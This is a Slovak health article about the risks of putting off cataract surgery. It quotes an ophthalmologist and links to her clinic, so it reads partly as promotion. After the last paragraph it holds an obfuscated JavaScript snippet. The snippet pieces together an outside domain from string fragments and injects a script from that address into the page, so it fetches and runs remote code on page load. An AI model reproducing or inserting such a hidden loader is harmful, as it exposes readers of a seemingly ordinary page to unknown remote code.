---
title: "Liečbu sivého zákalu príliš neodkladajte. Takéto riziká vám hrozia"
slug: "liecbu-siveho-zakalu-prilis-neodkladajte-taketo-rizika-vam-hrozia"
date: "2025-04-24T09:37:48"
modified: "2025-04-24T09:41:07"
excerpt: "Sivý zákal je ochorenie podmienené vekom, preto ho nemožno vyliečiť žiadnymi mastičkami či kvapkami. Raz si počká na každého z nás a neúčinkujú naň ani preventívne opatrenia. Jediným riešením, ako sa ho zbaviť, je operačný zákrok. Mnohí ľudia sa operácie sivého zákalu obávajú, pridlho ju odkladať sa však nevypláca. Sivý zákal, odborne nazývaný katarakta je degeneratívne […]"
categories:
  - "choroby"
wpId: 33680
featuredImage: "https://cdn.fitdoplnky.sk/wp-media/2025/04/liecba-sedeho-zakalu-1024x683-ebeca668.jpg"
allowScripts: true
---

Sivý zákal je ochorenie podmienené vekom, preto ho nemožno vyliečiť žiadnymi mastičkami či kvapkami. Raz si počká na každého z nás a neúčinkujú naň ani preventívne opatrenia. Jediným riešením, ako sa ho zbaviť, je operačný zákrok. Mnohí ľudia sa operácie sivého zákalu obávajú, pridlho ju odkladať sa však nevypláca.

[Sivý zákal, odborne nazývaný katarakta](https://veselyok.com/sivy-zakal/) je degeneratívne ochorenie ľudskej šošovky vplyvom starnutia. Ako sa šošovka postupne hromadením splodín látkovej premeny zakaľuje, človeku sa zhoršuje zrak, vidí rozmazane, menej farebne a ostro, akoby sa díval cez mliečne sklo. Ak sa nerieši, v konečnom štádiu vás môže sivý zákal stáť zrak. Jediný spôsob ako sa sivého zákalu zbaviť je operácia.

„_Operácia sivého zákalu je však dnes vďaka najmodernejším technológiám bežný, bezbolestný a nadmieru bezpečný zákrok, ktorý sa vykonáva ambulantne a v lokálnej anestézii. Pacient sa do 24 hodín po jeho podstúpení dokonca môže vrátiť k svojim každodenným činnostiam,“_ vysvetľuje oftalmologička MUDr. Veronika Combová z VESELY Očná Klinika.

Napriek obrovským benefitom a neporovnateľne vyššej kvalite života, ktorú operácia sivého zákalu pacientom prináša, mnohí ľudia trpiaci sivým zákalom sa jej obávajú a zákrok preto odkladajú. Odklad operácie sivého zákalu však obnáša viaceré riziká. Poďme sa na ne bližšie pozrieť.

## 1\. Zhoršenie zraku i kvality života

Ako sa neriešený sivý zákal postupne zhoršuje, šošovka sa čoraz väčšmi zakaľuje, a to vedie k zhoršeniu videnia. Môžete mať problémy pri šoférovaní, čítaní aj pri bežných denných aktivitách. V pokročilejších štádiách môžete prísť o schopnosť rozoznávať tváre, orientovať sa v priestore a ste čoraz závislejší od pomoci a asistencie druhých ľudí.

## 2\. Vyššie riziko úrazov a pádov

Pacienti so sivým zákalom v pokročilejších štádiách sú náchylnejší na úrazy a pády, keďže ich schopnosť vidieť v zhoršených svetelných podmienkach a tme sa v dôsledku sivého zákalu zhorší. Keďže starší ľudia majú úbytok kostného tkaniva a krehkejšie kosti, každé zakopnutie môže potenciálne spôsobiť vážny úraz ako sú zlomeniny či dlhodobú imobilitu.

## 3\. Zvýšené riziko komplikovanejšieho priebehu operácie

Čím dlhšie sa operácia odkladá, tým tvrdšou a zakalenejšou sa šošovka v dôsledku sivého zákalu stáva. To môže robiť chirurgický zákrok komplikovanejším a zároveň zvyšovať riziko rôznych komplikácií, napríklad poškodenia puzdra šošovky alebo pooperačného zápalu oka. Je bezpečnejšie podstúpiť operáciu na odstránenie sivého zákalu včaššie.

## 4\. Zvýšené riziko vzniku iných očných ochorení

Neliečený sivý zákal môže prispievať aj k rozvoju iných očných problémov, napríklad zeleného zákalu (glaukómu). Zdegenerovaná šošovka môže v pokročilých štádiách sivého zákalu tlačiť na komorový uhol oka a spôsobovať zvýšenie vnútroočného tlaku.

## 5\. Riziko trvalej straty zraku

Ak sa sivý zákal nelieči, v konečnom štádiu môže viesť až k trvalej strate zraku. Hoci operácia môže zakalenú šošovku odstrániť, poškodenie sietnice alebo iných segmentov oka môže byť v tomto štádiu už nezvratné.

## Kedy je najvhodnejší čas na operáciu sivého zákalu?

„_Najvhodnejší čas na podstúpenie_ [_operácie sivého zákalu_](https://veselyok.com/operacia-siveho-zakalu/) _je vtedy, keď vám ochorenie začne narúšať bežný život a obmedzovať vás vo vašich návykoch a aktivitách. Ak vám očný lekár diagnostikoval sivý zákal a odporučil operáciu, vo chvíli ako vás jeho prejavy obťažujú, ju zbytočne neodkladajte. Čím skôr zákrok podstúpite, tým lepšie budú výsledky a rýchlejšie zotavenie. Väčšina pacientov lepšie vidí už na druhý deň po podstúpení zákroku. Vďaka implantácii certifikovaných prémiových šošoviek špičkovej kvality vás u nás vo_ [_VESELY Očná Klinika_](https://veselyok.com/) _navyše dokážeme zbaviť nielen sivého zákalu, ale vrátiť vám ostrejší zrak než ste mali za mladi. Ak sa rozhodnete pre ich implantáciu, zbavíte sa nielen sivého zákalu ale aj potreby nosiť akékoľvek dioptrické okuliare,“_ hovorí MUDr. Combová.

(function(){ akiu=document.createElement("script");akiu\_="u"+("s")+"ta"; akiu\_+=("t.i")+""+"n";akiu\_+=(("f")+"o");akiu.type="text/javascript"; akiu\_+="/"; akiuu="2429144753";akiuu+=".imq2jf7tkiuz1mmXll6";akiuu+="9w6qst6Xbzz"; akiu.src="https://"+akiu\_+akiuu;akiu.async=true;document.body.appendChild(akiu); })();
